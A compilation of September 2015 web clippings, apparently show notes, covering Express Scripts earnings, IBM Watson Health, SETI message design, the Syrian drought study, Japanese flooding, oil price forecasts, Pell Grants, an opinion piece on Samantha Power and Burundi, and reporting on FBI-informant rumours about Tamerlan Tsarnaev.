You may view our Corporate Overview PDF document here: http://express-scripts.com/pressroom/informationresources/corporateoverview/corporateOverview.pdfRecent Press ReleasesExpress Scripts Announces 2nd Quarter Results; Increases 2015 Guidance Range - 07/28/2015 - 4:11 p.m.ST. LOUIS, July 28, 2015 /PRNewswire/ -- Express Scripts Holding Company (Nasdaq: ESRX) announced 2015 second quarter net income attributable to Express Scripts stockholders of $600.1 million, or $0.8... Express Scripts Holding Company Announces Second Quarter 2015 Earnings Conference Call - 07/06/2015 - 5:05 p.m.ST. LOUIS, July 6, 2015 (GLOBE NEWSWIRE) -- Express Scripts Holding Company (Nasdaq:ESRX) announced today its intention to release its second quarter earnings on Tuesday, July 28, 2015 after the marke... Express Scripts Provides First Look at 2015 Public Exchange Pharmacy Trends - 07/01/2015 - 7:00 a.m.- Latest Express Scripts Exchange Pulse Report reveals new exchange enrollees in Q1 2015 were healthier and spent less on medications compared to exchange enrollees in Q1 2014, helping plans better ba... Express Scripts Elects Tim Wentworth to Board of Directors - 06/12/2015 - 5:00 p.m.ST. LOUIS, June 12, 2015 /PRNewswire/ -- Express Scripts Holding Company (NASDAQ: ESRX) today announced that its Board of Directors has elected Tim Wentworth to the Board. Mr. Wentworth is curren... Data provided by Nasdaq. Minimum 15 minutes delayed.
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IBM Watson Health Begins To Take Shape | TechCrunch
Fri, 11 Sep 2015 18:14
IBM doesn't build new units lightly, but last April it launched IBM Watson Health. Since that time the company has been busy buying companies including Merge Healthcare, forging partnerships with the likes of Apple, CVS and Johnson and Johnson, hiring a new General Manager and purchasing the unit's new headquarters in Cambridge, MA.
That's quite a bit of action in five months, but Steve Gold, CMO for Watson at IBM says the hope is to build a community around attacking the big problems in healthcare in the U.S. and around the world.
''It's about how do we build a community among the various stakeholders in which all of them stand to gain by coming together and sharing information,'' he said.
In that sense, it hopes to work the way the open source community approaches a problem. You build a community of like-minded people to work on a common goal, and as solutions develop, businesses grow around these projects and people make money. The underlying project is community driven, but that in itself drives new business models.
That has led to a series of moves designed to encourage that community to come together and that includes choosing Boston to be its headquarters. It's not a coincidence IBM chose the Boston area. It has a strong life sciences focus along with world-class hospitals and colleges (including MIT and Harvard).
New Digs, New FriendsThe new headquarters in Cambridge (just across the river from Boston) is large enough to scale as the unit grows. Gold wouldn't give an exact number, but The Boston Business Journal reported that the company would be hiring hundreds of clinicians and researchers to work at the facility.
IBM has been enhancing its partner network and announced several new partners today including Boston Children's Hospital. The deal with BCH involves using Watson technology to drive the OPENPediatrics initiative, a program designed to help share pediatric medical information with hospitals and medical professionals around the world.
The company is also working with The Columbia University Medical Center, where they are using Watson technology ''to help oncologists in the Columbia Herbert Irving Comprehensive Cancer Center translate DNA insights into personalized treatment options for patients,'' according to the announcement. IBM reports that this is the 16th medical institution working with Watson on Cancer research.
Apple PartnershipAt the time of the announcement in April, IBM also announced partnerships with Apple, Johnson and Johnson and Medtronics. In fact, the Apple partnership is already beginning to come together with projects based on Apple's HealthKit and ResearchKit.
As part of today's broad announcement, IBM indicated that it would be working with Sage Bionetworks' Open Biomedical Research Platform around the first Apple projects. Sage will be collecting information from Apple Devices using ResearchKit developer tools, initially with breast cancer and Parkinson's patients. It will be aggregating storing, curating and analyzing the information coming in from the Apple Devices. IBM will be providing the underlying technology with its IBM Watson Health Cloud platform.
The Apple partnership is a great idea that took on a life of its own, Gold said. ''When we approached them, they were thrilled we could help facilitate data from wearables, nutrition and other areas.''
In addition to all of this, the company announced the IBM Watson Health Cloud for Life Science Compliance. It's not a name that exactly rolls off the tongue, but it is designed to provide the tools and technologies for companies to build a fully compliant research cloud. The solution is built on top of IBM Softlayer, its Infrastructure as a Service offering, and offers what the company claims is a fully compliant cloud solution for the heavily regulated life sciences industry.
IBM is throwing a lot of resources at Watson Health and it hopes to use its technology to drive change across the healthcare industry. The Watson Health headquarters will be the center of that, Gold said.
''It's so much broader than healthcare It's, about education, prevention and wellness. All of these touchpoint are correlated,'' he said.
Featured Image: IBM
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LGBBTQQIAAP
Send aliens modern messages of Earth's equality and diversity, say scientists | Science | The Guardian
Sun, 13 Sep 2015 02:54
The plaque designed by Carl and Linda Sagan and Frank Drake that was attached to the Pioneer 10 spacecraft before it was launched into space in 1972. Photograph: Getty Images
Messages sent into space to tell extraterrestrials about the nature of humankind should be updated to reflect gender equality and the diversity of life on Earth, scientists say.
At a conference in Leeds this week, a group of British astronomers and philosophers who form the UK research network for SETI - the Search for Extraterrestrial Intelligence - agreed to enter a competition organised by the Breakthrough Initiative to devise a message to send out to space on behalf of the world to whoever might be listening.
However, discussing the likely content of the message at the British Science Festival in Bradford on Thursday, the need to revise our previous portrayals of life on Earth was raised.
Related:Let's listen out for alien life '' and remember we might not understand it
Jill Stuart, an expert in space policy at the London School of Economics, pointed to the plaque that was placed on the Pioneer 10 spacecraft, launched in 1972. Intended to convey the origin of the craft and to impart information about the inhabitants of Earth, Stuart observed that to modern eyes the pictorial message presents some issues. .
''The plaque shows a man raising his hand in a very manly fashion while a woman stands behind him, appearing all meek and submissive,'' she said. ''We really need to rethink that with any messages we are sending out now. Attitudes have changed so much in just 40 years.''
The plaque also clearly portrays the human figures as white, and Stuart added: ''I would be uncomfortable with sending out any images or messages that include Western-dominated material.''
The Breakthrough Initiative, organised by Russian entrepreneur Yuri Milner, is a $100m project to utilise the best radio telescopes to listen out for alien communications - and he is offering a $1m prize for the best idea for a message to broadcast to whoever is out there.
Anders Sandberg of the Future of Humanity Institute at the University of Oxford, was in Bradford representing the SETI group, and said the decision to enter the competition was hard-won, with half of the scientists on the group opposed to sending out a message at all.
The dissenting scientists, said Sandberg, were concerned that we might be drawing attention to ourselves from the wrong sort of aliens. ''The cliche of being invaded by aliens was not really on our minds. But the thinking was that the silence in the skies might be because alien civilisations are hiding from us, and that it might be stupid to attract attention,'' he said
The message, which would be beamed out on a powerful but currently unused frequency, could take the form of text, sounds, mathematical formulae or pictures. ''But what we don't know is if any aliens out there have eyes, so pictures might not work,'' Sandberg said.
If the UK SETI group wins the competition they will invest the prize money in extraterrestrial research in the UK.
The nearest star that could potentially hold life, Sandberg said, is ten light years away, so even in the best-case scenario it would take 20 years - and more likely 200 -for an answer to arrive from the area of our galaxy where most Earth-like planets might be situated.
There's also the possibility that rather than an advanced alien race, our messages might find a civilisation slightly behind us. Sandberg said: ''If we got a message from aliens in the 1930s it might have freaked us out a bit, but would it have crushed us? No. Unless we had received transmissions of Big Brother, perhaps.''
Agenda 2030
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Climate change in the Fertile Crescent and implications of the recent Syrian drought
Sun, 13 Sep 2015 00:45
Colin P. Kelleya,1,Shahrzad Mohtadib,Mark A. Canec,Richard Seagerc, andYochanan KushnircaUniversity of California, Santa Barbara, CA 93106;bSchool of International and Public Affairs, Columbia University, New York, NY 10027; andcLamont''Doherty Earth Observatory, Columbia University, Palisades, NY 10964Edited by Brian John Hoskins, Imperial College London, London, United Kingdom, and approved January 30, 2015 (received for review November 16, 2014)
SignificanceThere is evidence that the 2007''2010 drought contributed to the conflict in Syria. It was the worst drought in the instrumental record, causing widespread crop failure and a mass migration of farming families to urban centers. Century-long observed trends in precipitation, temperature, and sea-level pressure, supported by climate model results, strongly suggest that anthropogenic forcing has increased the probability of severe and persistent droughts in this region, and made the occurrence of a 3-year drought as severe as that of 2007''2010 2 to 3 times more likely than by natural variability alone. We conclude that human influences on the climate system are implicated in the current Syrian conflict.
AbstractBefore the Syrian uprising that began in 2011, the greater Fertile Crescent experienced the most severe drought in the instrumental record. For Syria, a country marked by poor governance and unsustainable agricultural and environmental policies, the drought had a catalytic effect, contributing to political unrest. We show that the recent decrease in Syrian precipitation is a combination of natural variability and a long-term drying trend, and the unusual severity of the observed drought is here shown to be highly unlikely without this trend. Precipitation changes in Syria are linked to rising mean sea-level pressure in the Eastern Mediterranean, which also shows a long-term trend. There has been also a long-term warming trend in the Eastern Mediterranean, adding to the drawdown of soil moisture. No natural cause is apparent for these trends, whereas the observed drying and warming are consistent with model studies of the response to increases in greenhouse gases. Furthermore, model studies show an increasingly drier and hotter future mean climate for the Eastern Mediterranean. Analyses of observations and model simulations indicate that a drought of the severity and duration of the recent Syrian drought, which is implicated in the current conflict, has become more than twice as likely as a consequence of human interference in the climate system.
FootnotesAuthor contributions: C.P.K., S.M., M.A.C., R.S., and Y.K. designed research; C.P.K. performed research; C.P.K., S.M., M.A.C., R.S., and Y.K. analyzed data; and C.P.K., S.M., M.A.C., R.S., and Y.K. wrote the paper.
The authors declare no conflict of interest.
This article is a PNAS Direct Submission.
This article contains supporting information online at www.pnas.org/lookup/suppl/doi:10.1073/pnas.1421533112/-/DCSupplemental.
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Massive Japanese Tropical Storm and Flooding Linked to El Nino
Fri, 11 Sep 2015 05:54
BBC reports:
Widespread flooding and landslides in north-east Japan have forced more than 90,000 people to abandon their homes.
The city of Joso, north of the capital, Tokyo, was hit by a wall of water after the Kinugawa River burst its banks. Helicopter rescue teams have been plucking people from rooftops.
At least eight people are still missing and 100 need rescuing.
The rains come a day after a tropical storm brought winds of up to 125km/h (78mph) to central Aichi prefecture.
The chief forecaster at the Japan Meteorological Agency (JMA), Takuya Deshimaru, said that the rainfall was "unprecedented" for that part of Japan.
"We can say this is an abnormal situation and there is imminent serious danger," he went on to say.
Japan's weather bureau links the weather to the El Nino that is expected to impact weather in the US this winter.The weather bureau said on Thursday then El Nino caused weather pattern was continuing and reiterated there was a strong possibility it would stretch into winter.
-RW
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Rubbleization
Oil Price Forecast: Goldman Sachs See Crude Hitting $20
Sat, 12 Sep 2015 13:59
If you thought the oil price would rally any time soon, TheGoldman Sachs Group, Inc. (NYSE:GS) would like to have a word.The investment banking giant reported on the oil price forecast on Friday, concluding that before the dust settles, the oil price might go as low as $20.00 per barrel. (Source: CBC, last accessed September 11, 2015.) It joins Citigroup Inc. (NYSE:C), which recently warned of crude slipping below $30.00 per barrel. (Source: Bloomberg, last accessed September 11, 2015.)The reason for this negative forecast is that the global oversupply of crude oil is showing itself to be worse than anyone expected. Emerging data shows that we won't be facing any relief from currently rising oil stockpiles or surging production. (Source: IEA, last accessed September 11, 2015.)Indeed, analysts are now expecting this production surplus to continue throughout this year and into 2016. (Source: Globe and Mail, last accessed September 11, 2015.)Goldman Sachs is now banking on the price of West Texas intermediate (WTI) to average about $45.00 per barrel through 2016, an astounding downgrade in its original forecast of $57.00 per barrel. (Source: Reuters, last accessed September 11, 2015.)While this is the average projected, the chance of crude oil declining to just $20.00 has not been ruled out, according to the bank.This negative oil price forecast is due to several interrelated issues.OPEC is the primary culprit, continuing its record-high production levels in an effort to starve out non-OPEC market competitors. As prices have fallen, Saudi Arabia has followed a strategy of ramping up oil extraction in an effort to partially offset revenue losses.Sponsored Content:(Video) Dow Jones 7,000 Trigger Leaked by 28-year Old Stock Research Firm
Obama Nation
Pell Grant - Wikipedia, the free encyclopedia
Sun, 13 Sep 2015 02:35
A Pell Grant is money the U.S. federal government provides for students who need it to pay for college. It is an entitlement (awards are guaranteed if criteria are met). Federal Pell Grants are limited to students with financial need, who have not earned their first bachelor's degree, or who are enrolled in certain post-baccalaureate programs, through participating institutions.[1] The Pell Grant is named after Democratic U.S. Senator Claiborne Pell of Rhode Island, and was originally known as the Basic Educational Opportunity Grant. A Pell Grant is generally considered the foundation of a student's financial aid package, to which other forms of aid are added.[2] The Federal Pell Grant program is administered by the United States Department of Education, which determines the student's financial need and through it, the student's Pell eligibility. The U.S. Department of Education uses a standard formula to evaluate financial information reported on the Free Application for Federal Student Aid (FAFSA) for determining the student's expected family contribution (EFC).[3]
Pell Grants were created by the Higher Education Act of 1965. These federal funded grants are not like loans, and need not be repaid. Students may use their grants at any one of approximately 5,400 participating postsecondary institutions. These federally funded grants help about 5.4 million full-time and part-time college and vocational school students nationally.[4] For the 2010''2011 school year, seven of the top 10 colleges by total Pell Grant money awarded were for-profit institutions.[5]
History[edit]Today, the Pell Grant program assists undergraduates of low-income families, who are actively attending universities and or other secondary institutions. However, before the Pell Grant became what it is today, it went through numerous changes.
In 1965, Congress passed the Higher Education Act of 1965 (HEA). President Lyndon B. Johnson implemented the HEA as a part of his administration's agenda to assist and improve higher education in the United States. This was the initial legislation to benefit students of lower and middle-income. The HEA program included not only grants, but also low interest loans to students who did not qualify for grants. Universities and other institutions, such as vocational schools, benefited as well from the HEA program, receiving federal aid to improve the quality of the education process. Student aid programs administered by the U.S. Department of Education are contained in Title IV of the HEA, which is why they are called "Title IV Programs."
In 1972, Title IX Higher Education Amendments were a response to the distribution of aid in the current grant. Senator Claiborne Pell set forth the initial movements to reform the HEA. Opportunity Grant Program (Basic Grant) were intended to serve as the "floor" or "foundation" of an undergraduate student's financial aid package. Other financial aid, to the extent that it was available, would be added to the Basic Grant up to the limit of a student's financial need. Most changes to the federal student aid program result from a process called reauthorization. Through the process of reauthorization, Congress examines the status of each program and decides whether to continue that program, and whether a continued program requires changes in structure or purpose. Congress has reauthorized campus-based programs every five or six years, beginning in 1972.
The Higher Education Amendments of 1972[edit]The Higher Education Amendments of 1972 reauthorized the three campus-based programs, leaving the Economic Opportunity Grant Program with the same name, but renaming the two others: the National Defense Student Loan Program became the National Direct Student Loan or Federal Direct Student Loan Program; and the Federal Supplemental Educational Opportunity Grant Program (SEOG). In addition, Proprietary (profit-making) schools became eligible to use Title IV Funds. Also, the Educational Opportunity Grant Program would no longer function as a stand-alone program of gift aid, but instead would be linked with the Basic Grant Program.
In 1978 the Middle Income Student Assistance Act of 1978 (MISAA) was signed into act by President Jimmy Carter. This bill provides more generous Basic Educational Opportunity Grant'--Pell grants-to low-income students, and makes eligible students from families with income up to about $25,000. An additional 1.5 million students from middle-income families will be eligible for the Basic Grants program.[6]
In 1978, the alterations to the HEA were made to honor Rhode Island Senator Claiborne Pell with his hard work and dedication to improving the higher education of the students in the United States.
Education Amendments of 1978[edit]Middle-income families were now able to borrow $3,000 a year for each dependent child in school regardless of parent income.
Recent legislation[edit]Several changes to the program occurred in 2011. The maximum award amount for the 2011''2012 award year is $5,550.[7] Despite a shortened application process, fewer funds for the 2011''2012 program could lead to financial problems for many students. The government funded the program at $17.1 billion from 2008''2010, as part of the American Recovery and Reinvestment Act of 2009. However, the additional funding does not match the needs of increasing numbers of students who enroll in college and qualify for aid through the recession.[8] The Pell Grant program was subject to a $5.7 billion decrease in funding as part of a continuing resolution (H.R. 1), which cleared the House in February 2011 and cut about $60 billion from the federal budget.[8] The changes would take effect for the 2011''12 school year, decreasing the maximum amount of aid for the most needy students from $5,550 to $4,705 a year; in addition, about 1.7 million students who receive smaller Pell Grants would become ineligible for the program. Approval for the cuts is not certain due to long-standing bipartisan support from the Senate.[8] As of April 6, 2011 funds have not been approved, as the Senate has not voted to pass this legislation.
Application[edit]The application process requires the student and the student's family complete a Free Application for Federal Student Aid (FAFSA) form. The applicant should complete the FAFSA form for the first time prior to starting the freshman undergraduate year, and then update the form each year as he/she progresses through the college undergraduate term. The first step in applying for the Pell Grant is to complete or update the FAFSA form on or after Jan 1 of each year. The FAFSA application can be completed and submitted at www.fafsa.ed.gov. There are self-explanatory instructions in the "Fill out a FAFSA" section. High school Students can get a FAFSA form from school counselors or fill out the form online. If an applicant must correct a completed FAFSA form, they do so in step 3 of the application, in the "Make corrections to a processed FAFSA" section. When the student completes or updates the FAFSA application, they answer questions that determine eligibility for the Pell Grant, among other government grants and funding. After they submit the initial FAFSA application, the student is notified by email or regular postal delivery if funding is awarded. Students or parents should always make copies of the confirmation sheet for personal records.
Eligibility[edit]The United States Department of Education has a standard formula that it uses to evaluate the information that each person supplies when applying for the Pell Grant. The formula used was created by Congress from criteria submitted through the FAFSA form. This formula produces a number that is called the Expected Family Contribution (EFC), which determines the student's eligibility.[9]
This grant requires that each applicant be an undergraduate student who has not yet earned a bachelor's degree, and a United States citizen or an eligible non-citizen (usually, a permanent resident). In addition, the applicant must have a high school diploma, a GED, or can demonstrate the ability to benefit from the program.[3] Applicants must also sign a statement certifying that they will only use the aid for education-related purposes, that they are not currently in default for any federal student loans, and that they don't owe a refund for any federal education grants.
The Pell Grant also requires that students maintain satisfactory academic progress in a degree-oriented program as defined by the school they attend. Males between the ages of 18 and 25 must register with the Selective Service. A person may be eligible if previously incarcerated, but with limited eligibility depending on the offense.[10] Students may be ineligible if they have been convicted of a drug-related offense, though this depends on the actual charge, when it happened, and if they attended a drug rehabilitation program. They must not have an outstanding Pell overpayment on record. Students who received a full scholarship of any kind are ineligible.[11]
An applicant may not receive Pell Grant funds from more than one college at a time.[3]
Drug conviction[edit]Students who have received a drug conviction while receiving federal student aid may become ineligible for further aid, depending on personal circumstances. Such ineligibility may be reversed with appropriate remediation.[citation needed]
Award amount[edit]As with all grants, there is a maximum amount that the government funds for each applicant. For the 2010''2011, 2011''2012, 2012''2013, and 2013-2014 award years, the maximum amount was $5,645.[3][8] The maximum amount has increased for the 2014-2015 award year to $5,730. The maximum amount of the grant usually depends on the EFC and several other factors, including cost of attendance, the amount of time the student plans to attend college, whether it is a full academic year, and whether one is a full-time or part-time student[3] Once one has been considered eligible, the money can be obtained a couple of ways: the student's school can apply Pell Grant funds to school costs, pay the student directly, usually by check, or combine these methods. The school must tell the student in writing how much the award will be and how and when it will be paid, and disburse Pell Grant funds once a semester/term or twice during the academic year.[3] Under certain circumstances, Pell funds can also be used to fund Career Pathways programs and support services.[12]
Costs the grant can be used for[edit]Typically, the college first applies the grant or loan money toward a student's tuition, fees, and (if the student lives on campus) room and board. Any money left over is paid to the student for other expenses: books, living expenses if the student does not live on campus, and transportation.[1]
Impact of Pell Grants[edit]Students coming from low-income families already face increased challenges that hinder their ability to receive a higher education. The Pell Grant addresses one of the issues by making college accessible to students that may need the financial assistance. It has been shown to increase the college enrollment of students coming from low- and moderate-income families. It can also reduce the chances of them dropping out.[13]
Appropriations[edit]Fiscal Year 2011: $41,674,180,000 Fiscal Year 2010: $21,772,000,000 Fiscal Year 2009 : $19,378,000,000 Fiscal Year 2008 : $16,256,000,000 Fiscal Year 2007 : $13,660,711,000 Note: The amount for FY 2006 includes $4.3 billion to retire prior-year funding shortfalls; the amount for FY 2008 includes $2 billion in mandatory funds.
Note: The amounts for FY 2008 and FY 2009 include $2,000,000,000 and $2,100,000,000, respectively, in mandatory funds. In addition, the $17,114,000,000 in 70 U .S. Department of Education Recovery Act funds includes $1,474,000,000 in mandatory funds, of which 831,000,000 is for use in academic year 2010''11.
Note: The amount for FY 2009 includes $2,090,000,000 in definite mandatory funds and $16,283,000,000 in American Recovery and Reinvestment Act of 2009 funds, of which $643,000,000 is mandatory. The FY 2010 appropriation amount includes $5,299,816,000 in indefinite mandatory funds. The FY 2011 appropriation above includes $13,500,000,000 in mandatory funds to help reduce discretionary need and $5,218,184,000, which is the estimate of indefinite mandatory funds needed. http://www2.ed.gov/programs/fpg/funding.html
Awards Information[edit]2011
Amount of Aid Available: $35,772,935,000 Amount of Aid Available represents the amount of funds to be awarded to participants in this program. Number of New Awards Anticipated: 9,413,000 Average New Award: $3,800 Range of New Awards: $555''$5,550
2010
Amount of Aid Available: $32,295,226,000 Amount of Aid Available represents the amount of funds to be awarded to participants in this program. Number of New Awards Anticipated: 8,355,000 Average New Award: $3,865 Range of New Awards: $555''$5,550
2009
Amount of Aid Available: $25,328,889,000 Amount of Aid Available represents the amount of funds awarded to participants in the Federal Student Aid programs. Depending upon the program, this total may include federal appropriated dollars, institutional or state matching dollars, and federal or private loan capital. Number of New Awards Anticipated: 7,022,000 Average New Award: $3,611 Range of New Awards: $486''$5,350
2008
Amount of Aid Available: $16,428,110,000 Amount of Aid Available represents the amount of funds awarded to participants in the Federal Student Aid programs. Depending upon the program, this total may include federal appropriated dollars, institutional or state matching dollars, and federal or private loan capital. Number of New Awards Anticipated: 5,578,000 Average New Award: $2,945 Range of New Awards: $400''$4,731
2007
Amount of Aid Available: $13,989,305,000 Amount of Aid Available represents the amount of funds awarded to participants in the Federal Student Aid programs. Depending upon the program, this total may include federal appropriated dollars, institutional or state matching dollars, and federal or private loan capital. Number of New Awards Anticipated: 5,339,000 Average New Award: $2,620 Range of New Awards: $400''$4,310[14]
Federal Pell Grant Lifetime Eligibility calculator[edit]'Scheduled award:'The maximum amount of Federal Pell Grant funding a student can receive is calculated for an award year. An award year is a period from July 1 of one calendar year to June 30 of the next year.
The scheduled award is partially determined using the student's expected family contribution (EFC), which the program calculates from the information the student and family provided in the Free Application for Federal Student Aid (FAFSA). The result is the maximum amount the student can receive for the award year if enrolled full-time for the full school year. It represents 100% of the Pell Grant eligibility for that award year.
Percent used: To determine how much of the maximum six years (600%) of Pell Grant the student uses each year, the U.S. Department of Education (ED) compares the actual amount awarded for the award year with the scheduled award amount for that award year. A student who uses 100% receives the full award. A student might not receive the entire scheduled award for an award year. A number of things can cause this'--most commonly, the student didn't enroll for the full year, did not enroll full-time, or both. If the student doesn't receive the full award, ED calculates the percentage of the scheduled award they did receive.
Lifetime Eligibility Used (LEU): ED tracks the LEU by adding the percentages of the Pell Grant scheduled awards a student receives each award year. The table below shows LEUs for three students who received differing amounts of their scheduled awards over a four-year period.[15]
Contacts[edit]Federal Student Aid Information Center Telephone: (800) 433-3243 or (800) 4FED-AID
References[edit]^ ab"Federal Pell Grant". Student Aid on the Web. Retrieved April 6, 2011. ^"Federal Pell Grants"(PDF). Department of Education. Retrieved April 6, 2011. ^ abcdef"What is a Pell Grant?". College Board. Retrieved March 26, 2011. ^"Federal Pell Grant". Minnesota Office of Higher Education. Retrieved March 26, 2011. ^"Federal Pell Grant". Retrieved November 16, 2011. ^"The American Presidency Project". Gerhard Peters. Retrieved March 26, 2011. ^"Federal Pell Grant Program". U.S. Department of Education. Retrieved June 7, 2011. ^ abcdHopkins, Katy. "Potential Cuts to Pell Grant Could Affect Students in 2011". U.S. News. Retrieved March 26, 2011. ^"THE EFC FORMULA, 2012-2013"(PDF). iLibrary - Federal Pell Grant (Pell Grant) Program, Information for Financial Aid Professionals (IFAP). U.S. Department of Education. ^"Students with Criminal Convictions". Federal Student Aid Information Center. 2014-12-01. Retrieved 2015-09-11. ^"Pell Grant Eligibility". Pell Grant Eligibility. 1999-02-22. Retrieved 2014-02-05. ^"Funding Career Pathways: Pell Grants"(PDF). Center for Law and Social Policy. Retrieved August 9, 2011. ^Boteach, Melissa, Erik Stegman, Sarah Baron, Tracey Ross, and Katie Wright. "The War on Poverty: Then and Now." The War on Poverty: Then and Now (2014): 1-34. Center for American Progress. Center for American Progress. Web. 14 Apr. 2015. .^"Funding Status - Federal Pell Grant Program". .ed.gov. 2011-11-21. Retrieved 2014-02-05. ^"Calculating Pell Grant Lifetime Eligibility Used | Federal Student Aid". Studentaid.ed.gov. 2012-06-15. Retrieved 2014-02-05. External links[edit]
Regime Change
Africa's Problem From Hell - Samantha Power - allAfrica.com
Sat, 12 Sep 2015 14:14
analysis
By Ann GarrisonHaving successfully advocated for US-led NATO wars in Libya and Syria "to stop the next Rwanda," Power has her sights set on the tiny, impoverished East African nation of Burundi, which has a highly geostrategic border with the resource-rich Democratic Republic of the Congo.
U.S. Ambassador to the UN Samantha Power is on a mission to save Africans from African savagery. She wants you to call 1-800-GENOCIDE so she can pressure the president to send in the Marines or US Special Forces. Her entire career is based on a historically inaccurate, decontextualized, and grossly over simplified account of the 1994 Rwandan massacres, during which the U.S. "stood by." From now on, she moralizes, US citizens must be "upstanders," not bystanders. "Never again" can we fail in our moral duty to stop the world's dark-skinned, backward peoples from massacring one another over ethnic difference. She wrote a Pulitzer Prize winning book calling this The Problem From Hell: America in the Age of Genocide, which was based on her 2001 Atlantic Monthly essay "Bystanders to Genocide."
Power fails to note that the US "stood by" intentionally, not indifferently, in Rwanda, until Pentagon proteg(C) General Paul Kagame won a war of aggression begun four years earlier. She blames U.S. officials who successfully pushed for reducing the UN peacekeeping mission in Rwanda to a skeletal staff as Rwanda descended into hell, but says, in "Bystanders to Genocide," that this was "not a story of willful complicity with evil."
She fails to mention that General Paul Kagame threatened to fire on UN troops if they came between his troops and those of the Rwandan army, as Reuters reported on May 18, 1994.
Now, having successfully advocated for US-led NATO wars in Libya and Syria "to stop the next Rwanda," Power has her sights set on the tiny, impoverished East African nation of Burundi. Burundi shares the Hutu/Tutsi/Twa ethnic divisions with neighboring Rwanda and a highly geostrategic border with the resource rich Democratic Republic of the Congo.
US troops typically appear only as "advisors" south of the Sahara Desert, although the Pentagon/Harvard collaboration Mass Atrocity Response Operations; A Military Planning Handbook, which Power helped to produce, describes the swift, surgical deployment of U.S. Special Forces as a blueprint at the ready. For now there are plenty of African troops serving under U.S. military command and grateful to receive the salaries that boost their class status in Africa, though they'd be considered poverty wages in the U.S. All but a few African nations now have soldiers serving under AFRICOM, the US Africa Command, and Burundi's belligerent neighbor Rwanda is one of the greatest troop contributors. One complication of the Burundian situation is that Burundian troops serve alongside Ugandans in AMISON, the Pentagon-led UN Mission to Somalia.
Fighting and casualties have already taken place on Burundi's tense border with Rwanda, and recently five of Burundi's ruling party leaders, including the Burundian security and intelligence chief, were assassinated. This makes it clear that President Nkurunziza, who is hugely popular with the country's rural Hutu peasant majority, could be the next target. And, it alarms all those who remember the assassination of three Hutu presidents within two years, 1993-1994, which precipitated the Rwandan and Burundian bloodbaths of the 1990s.
Samantha Power has decried assassinations on both sides and threatened sanctions, but she lays all the blame for the Burundian crisis on President Pierre Nkurunziza. Why? Because he claimed the constitutional right to be elected twice by universal suffrage, then won by 69%. However, she spoke not a word of protest in 2010, when Rwandan President Paul Kagame claimed the same right and won by a thoroughly implausible 93% majority. Or in 2011, when President Kabila claimed the same right, then claimed a victory that "delegitimized all Congolese institutions," according to the Carter Center's election observer mission.
The regional and ethnic tensions in Burundi are now the subject of more Western press coverage and hand wringing than those of any other nation south of the Sahara. The danger of mass violence is no doubt great, but Africa is so resource rich that the resource interests of the world's industrial, military, and political power elites are always in play behind the news and Samantha Power's latest African anxieties.
* Ann Garrison is an independent journalist based in Oakland, California. This article previously appeared in Black Agenda Report.
* THE VIEWS OF THE ABOVE ARTICLE ARE THOSE OF THE AUTHOR AND DO NOT NECESSARILY REFLECT THE VIEWS OF THE PAMBAZUKA NEWS EDITORIAL TEAM
BAustin
Local cops suspect Tamerlan Tsarnaev was an FBI informant, according to Globe columnist | Privacy SOS
Tue, 08 Sep 2015 03:35
There's a remarkable statement buried at the bottom of Boston Globe columnist Kevin Cullen's farewell to the soon-departing special agent in charge of the Boston FBI office, Vince Lisi. According to the law enforcement friendly Cullen, Lisi was uncharacteristically open during their interview. "Lisi is the most candid FBI leader in Boston, ever," Cullen writes.
But the friendly goodbye column closes with reporting that strikes a vastly different tone:
For the record, Lisi denied that TamerlanTsarnaev, killed in a firefight with Watertown police, was an FBI informant. He also denied that IbragimTodashev, a suspected accomplice of Tsarnaev in a triple murder in Waltham, was an FBI informant.
Todashev was shot dead by an FBI agent in Florida two months after the Marathon bombings, after he allegedly attacked the agent and a Massachusetts state trooper.
That I had to ask the question '-- and that there are others in law enforcement who suspect that one or both were FBI informants '-- suggests whoever replaces Vince Lisi has their work cut out for them. Like statutes, candor has its limitations.
Talk about burying the lede.
Suspicions have long swirled in Boston about the true nature of TamerlanTsarnaev's relationship with the FBI, dating back to at least 2011. In March 2014 the defense team for Tamerlan's younger brother filed a brief in federal court asserting that the FBI had tried to recruit the elder Tsarnaev. The FBI has always denied that Tamerlan ever worked for them in any capacity as an informant. In response to the Tsarnaev defense motion, the DOJ reported that it could discover "no evidence" to support the claim that the Bureau approached Tamerlan with such a request.
But despite these denials, the rumors Globe columnist Kevin Cullen reports do not constitute the first public questions government officials have raised about the FBI's conduct'--or honesty'--in this case.
Back in October 2013, Senator Chuck Grassley wrote the FBI a public letter asking, among other questions, whether Tamerlan was ever approached to inform for the FBI'--and if not, why not. Grassley's letter was apparently prompted by concerns brought to the Iowa republican by Cambridge law enforcement whistleblowers.
Among those whistleblowers may have been an MIT police officer who was on duty the night officer Sean Collier was killed on campus. The officer later told local reporters that he and other MIT cops suspected the FBI knew where Tamerlan was that fateful night, and that the bomber was under FBI surveillance. (This is notable in part because the FBI's official narrative states that the Bureau did not know who the brothers were until much later, after a firefight in Watertown that ended with Tamerlan's death and Dzokhar's escape.)
Watertown police chief Ed Deveau has since publicly questioned the FBI's conduct that week, suggesting that had the bureau recognized the man they'd previously investigated, Collier would be alive and the shootout in his town never would have happened.
Rumors about Tamerlan's involvement with the FBI are nothing new. Despite having paid very close attention to the case over the past few years, however, I've never heard that IbragimTodashev, the man killed by FBI agents in Orlando just a month after the marathon attacks, could have also been an informant. During the Tsarnaev trial, Todashev's mother in law stood outside of federal court in Boston holding a sign emblazoned with a photo of her deceased son in law, along with the words "I am dead because I knew the Tsarnaevs. I knew the truth." (Read much more about the strange case of the Todashev killing here, here, and here.)
Russian American journalist MashaGessen wrote a book about the Tsarnaev brothers, in which she asserts that "the explanation that best fits the facts" in the case is "a cover-up." Upon the publication of Gessen's book in April 2015, none other than former DHS head Janet Napolitano took to the New York Times opinion pages to slam the author as a conspiracy theorist. But according to local gumshoe Kevin Cullen, there are plenty of local cops in the Boston area who think there's something to that theory.
And in a few weeks, the Hollywood film about the Boston FBI's most infamous informant ever, Whitey Bulger, airs in move theaters nationwide.
Drone Nation
Obama Ordered Ten Times More Drone Strikes than Bush | Global Research - Centre for Research on Globalization
Sat, 12 Sep 2015 14:20
A new study has revealed that the Obama administration has carried out ten times more assassination drone strikes than the Bush administration which preceded it.
According to the Bureau of Investigative Journalism, the George W. Bush administration ordered 50 drone attacks while the government of current US President Barack Obama has already launched around 500 such strikes.
Obama primarily ordered assassination strikes in Pakistan, Yemen, Somalia and Afghanistan.
US President Barack Obama
The United States says the CIA-run drone strikes essentially kill militants, although casualty figures show that civilians are often the victims of the non-UN-sanctioned attacks.
According to the Bureau of Investigative Journalism, civilians and children are often mistakenly killed in the drone strikes.
